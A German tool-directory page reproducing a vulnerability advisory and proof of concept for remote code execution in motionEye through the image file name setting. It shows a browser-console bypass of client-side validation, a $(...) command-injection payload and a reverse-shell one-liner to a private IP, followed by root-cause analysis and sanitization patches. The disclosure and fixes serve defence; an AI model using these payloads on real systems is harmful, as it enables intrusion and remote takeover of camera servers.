Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/prabhatverma47/motioneye-rce-through-config-parameter
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRed Teaming
GitHubprabhatverma47/motioneye-rce-through-config-parameter

motionEye-RCE-through-config-parameter

PoC steps for this vulnerability

Repository anzeigen
21vor 10 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

MotionEye RCE durch Umgehung der Client-seitigen Validierung

Zusammenfassung

Bei einem Sicherheitstest einer in Docker laufenden MotionEye-Instanz wurde beobachtet, dass die Client-seitige Validierung in der Weboberfläche umgangen werden kann. Dadurch können beliebige Eingaben übermittelt werden, einschließlich Payloads, die eine Ausführung auf dem Container auslösen können. Das Problem birgt das Risiko einer Remote-Codeausführung (RCE), wenn es ausgenutzt wird.

Betroffene Versionen: Alle Versionen bis einschließlich 0.43.1b4
Patch-Status: Noch kein Patch verfügbar. In diesem Advisory wird ein Workaround angegeben.
Projektreferenz: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10


Umgebung

  • Ziel: MotionEye läuft in Docker
  • Image: ghcr.io/motioneye-project/motioneye:edge
  • Freigegebener Port: 9999 auf den Container-Port 8765 gemappt
  • Test-Anmeldedaten: admin / leeres Passwort (Standard)

Schritte zur Reproduktion

1. Container-Setup

Führen Sie den folgenden Befehl aus, um das Docker-Image herunterzuladen und den Container zu starten:

root@kitploit:~
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
image

2. Versionsprüfung

root@kitploit:~
docker logs motioneye | grep "motionEye server"

Ergebnis: MotionEye-Server 0.43.1b4 image

3. Dateisystemzugriff

Sobald der Docker-Container läuft, kann mit den folgenden Befehlen auf die Container-Shell zugegriffen werden:

root@kitploit:~
docker exec -it motioneye /bin/bash
ls -la /tmp
image

4. Erstzugriff

Webinterface aufrufen unter:
http://127.0.0.1:9999
Anmeldung: admin (leeres Passwort)

5. Kamera-Setup

Beispiel-RTSP-Netzwerkkamera hinzugefügt.
image

6. Injektionsversuch

In das Feld „Still Images“ > „Image File Name“ wurde ein bösartiger Ausführungsbefehl eingegeben, aber es wurde ein Fehler der Client-seitigen Validierung ausgelöst.

root@kitploit:~
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

Von der Client-seitigen Validierung blockiert.
image

image

7. Entdeckung der Client-seitigen Validierung

Das folgende Skript ist für die Validierung verantwortlich: /static/js/main.js?v=0.43.1b4, das auf /static/js/ui.js?v=0.43.1b4 verweist, um die Validierungsbedingungen umzusetzen.

Datei: /static/js/main.js?v=0.43.1b4, die auf /static/js/ui.js?v=0.43.1b4 verweist

root@kitploit:~
function configUiValid() {
    $('div.settings').find('.validator').each(function () { this.validate(); });
    var valid = true;
    $('div.settings input, select').each(function () {
        if (this.invalid) { valid = false; return false; }
    });
    return valid;
}

8. Umgehungstechnik

Durch Überschreiben der Funktion configUiValid in der Browserkonsole können alle Validierungsprüfungen umgangen werden: Fügen Sie den folgenden Codeausschnitt in die Konsole des Browsers ein (F12 oder Strg+Umschalt+I)

root@kitploit:~
configUiValid = function() { 
    return true; 
};
image

9. Payload-Ausführung

Nun kann die Payload ohne jede Validierung direkt eingegeben werden: wie unten angegeben einstellen und die Einstellungen übernehmen (Apply).

Einstellungen:

  • Capture mode = Interval Snapshots
  • Interval = 10
  • Image File Name:
root@kitploit:~
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
image

Übernommen → Datei mit Root-Rechten erstellt.

image

Auswirkungen: RCE nutzbar machen

Einfache Erstellung einer Reverse Shell:

Listener:

root@kitploit:~
nc -lvnp 4444
image

Injizierte Payload:

root@kitploit:~
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
image

Ergebnis: Remote-Shell erhalten.


Grundursache und Ablauf

MotionEye ist verwundbar, weil es Benutzereingaben aus dem Web-Dashboard übernimmt und ohne Prüfung auf gefährliche Zeichen direkt in die Motion-Konfigurationsdateien schreibt. Beispielsweise wird das Feld image_file_name in der Benutzeroberfläche an das Backend (config.py) gesendet und in /etc/motioneye/camera-.conf gespeichert. Wenn MotionEye den Motion-Dienst neu startet (motionctl.start), liest der Motion-Prozess diese Konfigurationsdatei. Wenn das Feld picture_filename Shell-Syntax wie $(touch /tmp/test) enthält, führt Motion dies als echten Befehl aus, anstatt es als Teil des Dateinamens zu behandeln.

Ungefilterte Eingabe, die in Motion-Konfigurationsdateien geschrieben wird:
Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion parst picture_filename → führt Payload aus


Prävention

Bereinigungs-Fix

Datei: /usr/local/lib/python3.13/dist-packages/motioneye/config.py

root@kitploit:~
def sanitize_filename(value):
    # allow only letters, numbers, %, _, -, /, .
    for ch in value:
        if not (ch.isalnum() or ch in "%-_/."):
            return "%Y-%m-%d/%H-%M-%S"  # safe fallback
    return value
image

Bereinigung anwenden:

root@kitploit:~
data['picture_filename']  = sanitize_filename(ui['image_file_name'])
data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])

vorher: image nachher: image


Alternative Lösung

Schritt 1: Docker-Container starten

root@kitploit:~
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge

Schritt 2: Auf den Container zugreifen

root@kitploit:~
docker exec -it motioneye /bin/bash
docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py

Schritt 3: Konfiguration ändern

Original:

root@kitploit:~
on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]

Ersetzen durch:

root@kitploit:~
import re

on_event_start  = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_event_end    = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_movie_end    = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
image

Schritt 4: Neustart

root@kitploit:~
docker restart motioneye
image

Alternativer Patch

Innerhalb von motion_camera_ui_to_dict(...):

Original:

root@kitploit:~
data['picture_filename'] = ui['image_file_name']
data['snapshot_filename'] = ui['image_file_name']

Ersetzen durch:

root@kitploit:~
from re import sub
data['picture_filename']  = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
Tool herunterladen